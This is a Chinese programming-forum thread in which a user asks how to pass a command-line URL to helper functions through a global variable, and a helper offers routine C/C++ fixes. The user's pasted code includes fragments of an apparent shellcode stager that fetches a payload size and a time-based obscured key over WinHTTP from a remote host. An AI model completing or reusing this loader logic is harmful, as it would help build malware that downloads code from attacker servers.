我叫学得会 发表于 2021-4-9 11:01:55

其他函数模块如何调用主函数argv参数值?

本帖最后由 我叫学得会 于 2021-4-9 11:04 编辑

源代码为:

而子函数 geturl1(); gethost();等都会用到这个httpget里的地址。


char httpget = "http://123-456.com/";

int main()
{
        geturl1();
      gethost();
        return 0;
       
}




请问,主函数改为调用参数,而其他子函数都调用主函数输入进来的这个值去get页面等操作,有什么比较好的方案呢?

//char httpget = "http://123-456.com/";      //改为输入模式。

int main(int argc,char* argv[])
{
       
      geturl1();
      gethost();
        return 0;
       
}

我叫学得会 发表于 2021-4-12 08:51:13

师傅们,这题不会啊,怎么没人帮帮呀{:10_269:}

yuxijian2020 发表于 2021-4-12 09:15:31

本帖最后由 yuxijian2020 于 2021-4-12 09:17 编辑



void geturl1(char* url, int len);
void gethost(char* url, int len);

int main(int argc,char* argv[])
{
      
      geturl1(argv, MAX_PATH);
      gethost(argv, MAX_PATH);
      return 0;
      
}传参不就完事了。。。。

我叫学得会 发表于 2021-4-12 10:00:59

yuxijian2020 发表于 2021-4-12 09:15
传参不就完事了。。。。

子函数里还有其他子函数,这样传参下去很麻烦,还有没有更简洁效率的方法啊?

yuxijian2020 发表于 2021-4-12 10:02:42

我叫学得会 发表于 2021-4-12 10:00
子函数里还有其他子函数,这样传参下去很麻烦,还有没有更简洁效率的方法啊?

你还嫌麻烦, 其他方法有啊你弄个全局变量参数传进来的时候赋值给全局变量{:10_277:}

我叫学得会 发表于 2021-4-12 11:00:46

yuxijian2020 发表于 2021-4-12 10:02
你还嫌麻烦, 其他方法有啊你弄个全局变量参数传进来的时候赋值给全局变量

对啊,参数进来设置为全局变量,其他子涵数调用,师傅给个示范啊{:10_297:}

yuxijian2020 发表于 2021-4-12 13:19:38

本帖最后由 yuxijian2020 于 2021-4-12 13:24 编辑

char* httpget;

int main(int argc, char** argv)
{
        if(argc < 2)
                return -1;

        int len = strlen(argv);                                           //获取参数字符串长度
        httpget = (char*)malloc((len + 1) * sizeof(char));       //申请内存
        if(!httpget)                                                            //申请失败退出程序
                return -1;

        memset(httpget, 0, len + 1);                                    //初始化内存
        strcpy(httpget, argv);                                          //拷贝字符串

      geturl1();                                                               //执行操作
      gethost();

        free(httpget);                                                         //释放内存
      return 0;
      
}

我叫学得会 发表于 2021-4-12 14:35:58

本帖最后由 我叫学得会 于 2021-4-12 14:42 编辑

yuxijian2020 发表于 2021-4-12 13:19


大佬,这样改后,理论上子函数中的子函数调用网址生成Post请求,可是请求没发出,,子涵数没获取到参数

yuxijian2020 发表于 2021-4-12 14:47:31

我叫学得会 发表于 2021-4-12 14:35
大佬,这样改后,理论上子函数中的子函数调用网址生成Post请求,可是请求没发出,,子涵数没获取到参数



我这是正常的啊
#include <stdio.h>
#include <Windows.h>

int main(int argc, char** argv)
{
        if (argc < 2)
                return -1;

        printf_s("输入的参数为: %s\n", argv);

        system("pause");
        return 0;
}

我叫学得会 发表于 2021-4-12 15:20:20

yuxijian2020 发表于 2021-4-12 14:47
我这是正常的啊

std::string GenerateUri()
{
        time_t myt = time(NULL);
        int key = int(int(myt) / 100);
        std::string u = string(obscure) + std::to_string(key);
        return MD5_(u).toStr();
}
bool GetShellCodeSize()
{
       
        string res = Request(httpget,"my/get_size");
        if (res=="")return false;
        shellcode_size = std::atoi(res.c_str());
        shellcode = (char*)malloc(shellcode_size);
        if (shellcode != 0) {
                return true;
        }
        else {
                return false;
        }
}

std::string GetKey()
{
        if (GetShellCodeSize() == false) {
                return "";
        }
       
       
        string res = Request(httpget,GenerateUri());
        return res;
}

这里的子函数没有获取上值

yuxijian2020 发表于 2021-4-12 15:25:45

本帖最后由 yuxijian2020 于 2021-4-12 15:27 编辑

我叫学得会 发表于 2021-4-12 15:20
这里的子函数没有获取上值

那你试试不要申请内存,直接赋值

/*int len = strlen(argv);
    url = (char*)malloc(len + 1);
    if(!url)
      return -1;

    memset(httpget, 0, len + 1);
      strcpy(httpget, argv);*/
    httpget = argv;

yuxijian2020 发表于 2021-4-12 15:36:16

本帖最后由 yuxijian2020 于 2021-4-12 15:40 编辑

我看了半天你这不是c++么
那多简单啊   直接用string啊
#include <iostream>
#include <string>

using namespace std;

string url;

int main(int argc, char** argv)
{
        if (argc < 2)
                return -1;

        url.assign(argv);
        printf_s("输入的参数为: %s\n", argv);

        return 0;
}

我叫学得会 发表于 2021-4-12 16:52:37

yuxijian2020 发表于 2021-4-12 15:36
我看了半天你这不是c++么
那多简单啊   直接用string啊

还是没有调用成功,子子子函数调用全局 变量 string url里的数值不成功,应该是url 里没有数值吧?

yuxijian2020 发表于 2021-4-12 16:55:55

我叫学得会 发表于 2021-4-12 16:52
还是没有调用成功,子子子函数调用全局 变量 string url里的数值不成功,应该是url 里没有数值吧?

你是怎么调用的.....   我感觉你调用的有问题呢....

我叫学得会 发表于 2021-4-12 17:19:38

本帖最后由 我叫学得会 于 2021-4-12 17:34 编辑

yuxijian2020 发表于 2021-4-12 16:55
你是怎么调用的.....   我感觉你调用的有问题呢....

std::string Request(std::string target, std::string path) {                                              //发包调用 target 就是我们获得主函数的参数
        DWORD dwSize = 0;
        DWORD dwDownloaded = 0;
        LPSTR pszOutBuffer;
        BOOLbResults = FALSE;
        BOOLuseSSL = FALSE;
        INTERNET_PORT port;
        HINTERNEThSession = NULL,
                hConnect = NULL,
                hRequest = NULL;
        std::string reqResult;
       
        EdUrlParser* url = EdUrlParser::parseUrl(target);
       
        std::string p = url->port;
        if (p.length() > 1) {
               
                //std::cout <<p <<"   "<<p.substr(2) << std::endl;
                port = std::atoi(p.c_str());
               
        }
        if (url->scheme == "https") {
                useSSL = TRUE;
                if (url->port == "") {
                        port = 443;
                }
        }
        else {
                if (url->port == "")
                        port = 80;
        }




        std::wstring h = std::wstring(url->hostName.begin(), url->hostName.end());
        std::string strBasePath = url->path;
        char last = strBasePath.back();
        if (strcmp(&last,"/")) {
                strBasePath += "/";
        }
        strBasePath += path;
        std::cout << "request path:" << strBasePath <<"    port:"<< port<<std::endl;
        std::wstring basePath = std::wstring(strBasePath.begin(), strBasePath.end());
        wchar_t* host = (wchar_t*)h.c_str();

        wchar_t* object = (wchar_t*)basePath.c_str();


        // Use WinHttpOpen to obtain a session handle.
        hSession = WinHttpOpen(L"WinHTTP Example/1.0",
                WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                WINHTTP_NO_PROXY_NAME,
                WINHTTP_NO_PROXY_BYPASS, 0);

        // Specify an HTTP server.
        if (hSession)
                hConnect = WinHttpConnect(hSession, host,
                        port, 0);

        // Create an HTTP request handle.
        if (hConnect)

                hRequest = WinHttpOpenRequest(hConnect, L"GET", object,
                        NULL, WINHTTP_NO_REFERER,
                        WINHTTP_DEFAULT_ACCEPT_TYPES,
                        useSSL ? WINHTTP_FLAG_SECURE : 0);

....Request模块

下面是调用:
std::string GenerateUri()
{
        time_t myt = time(NULL);
        int key = int(int(myt) / 100);
        std::string u = string(obscure) + std::to_string(key);
        return MD5_(u).toStr();
}
bool GetShellCodeSize()
{
       
        string res = Request(target,"my/get_size");                                           //函数调用 int main 参数里的值
        if (res=="")return false;
        shellcode_size = std::atoi(res.c_str());
        shellcode = (char*)malloc(shellcode_size);
        if (shellcode != 0) {
                return true;
        }
        else {
                return false;
        }
}

std::string GetKey()
{
        if (GetShellCodeSize() == false) {
                return "";
        }
       
       
        string res = Request(target,GenerateUri());                           //获取网页密钥,发包int main 的值
        return res;
}


string target;                                     //存放 参数 就是请求的url值


int main(int argc,char* argv[])               //无参数执行很顺利,改为有参我人都傻了,原本在cdm调用此程序输入的是Base64,想再加个void base64encode () 然后ruturn target; 接下来其他程序就顺步走了,可是还没解密呢,改指针我人都傻了
{
       
        if (argc < 2)
        {
                return -1;
        }
        target.assign(argv);
        Invoke();                              //把琐碎一些列执行模块子函数都封装在这里了
        return 0;
       
       
       
}

yuxijian2020 发表于 2021-4-12 17:27:12

{:10_245:}你看看你的全局变量在哪定义的.....(放在所有函数定义之前,如果是不同文件最好在头文件开始声明一下全局变量)还有你把全局变量名改一下   全局变量和形参名相同了很容易弄混淆
而且main函数里我也没看见你调用上面的函数啊= =

我叫学得会 发表于 2021-4-12 17:31:04

yuxijian2020 发表于 2021-4-12 17:27
你看看你的全局变量在哪定义的.....(放在所有函数定义之前,如果是不同文件最好在头文件开始声 ...

文件是分开的,我在代码页是很规范写了,刚才我只是给你简单发了一下,你刷新看看

我叫学得会 发表于 2021-4-12 17:36:05

我叫学得会 发表于 2021-4-12 17:31
文件是分开的,我在代码页是很规范写了,刚才我只是给你简单发了一下,你刷新看看

大佬,我在代码里修改了备注,调用的那些小函数太多,我全都封装在 Invoke();里了

我叫学得会 发表于 2021-4-12 17:36:45

yuxijian2020 发表于 2021-4-12 17:27
你看看你的全局变量在哪定义的.....(放在所有函数定义之前,如果是不同文件最好在头文件开始声 ...

大佬,我在代码里修改了备注,调用的那些小函数太多,我全都封装在 Invoke();里了

yuxijian2020 发表于 2021-4-12 19:35:10

我叫学得会 发表于 2021-4-12 17:36
大佬,我在代码里修改了备注,调用的那些小函数太多,我全都封装在 Invoke();里了

那你就把
string target;                                     //存放 参数 就是请求的url值
这一句放到Invoke()函数的定义前面
页: [1] 2
查看完整版本: 其他函数模块如何调用主函数argv参数值?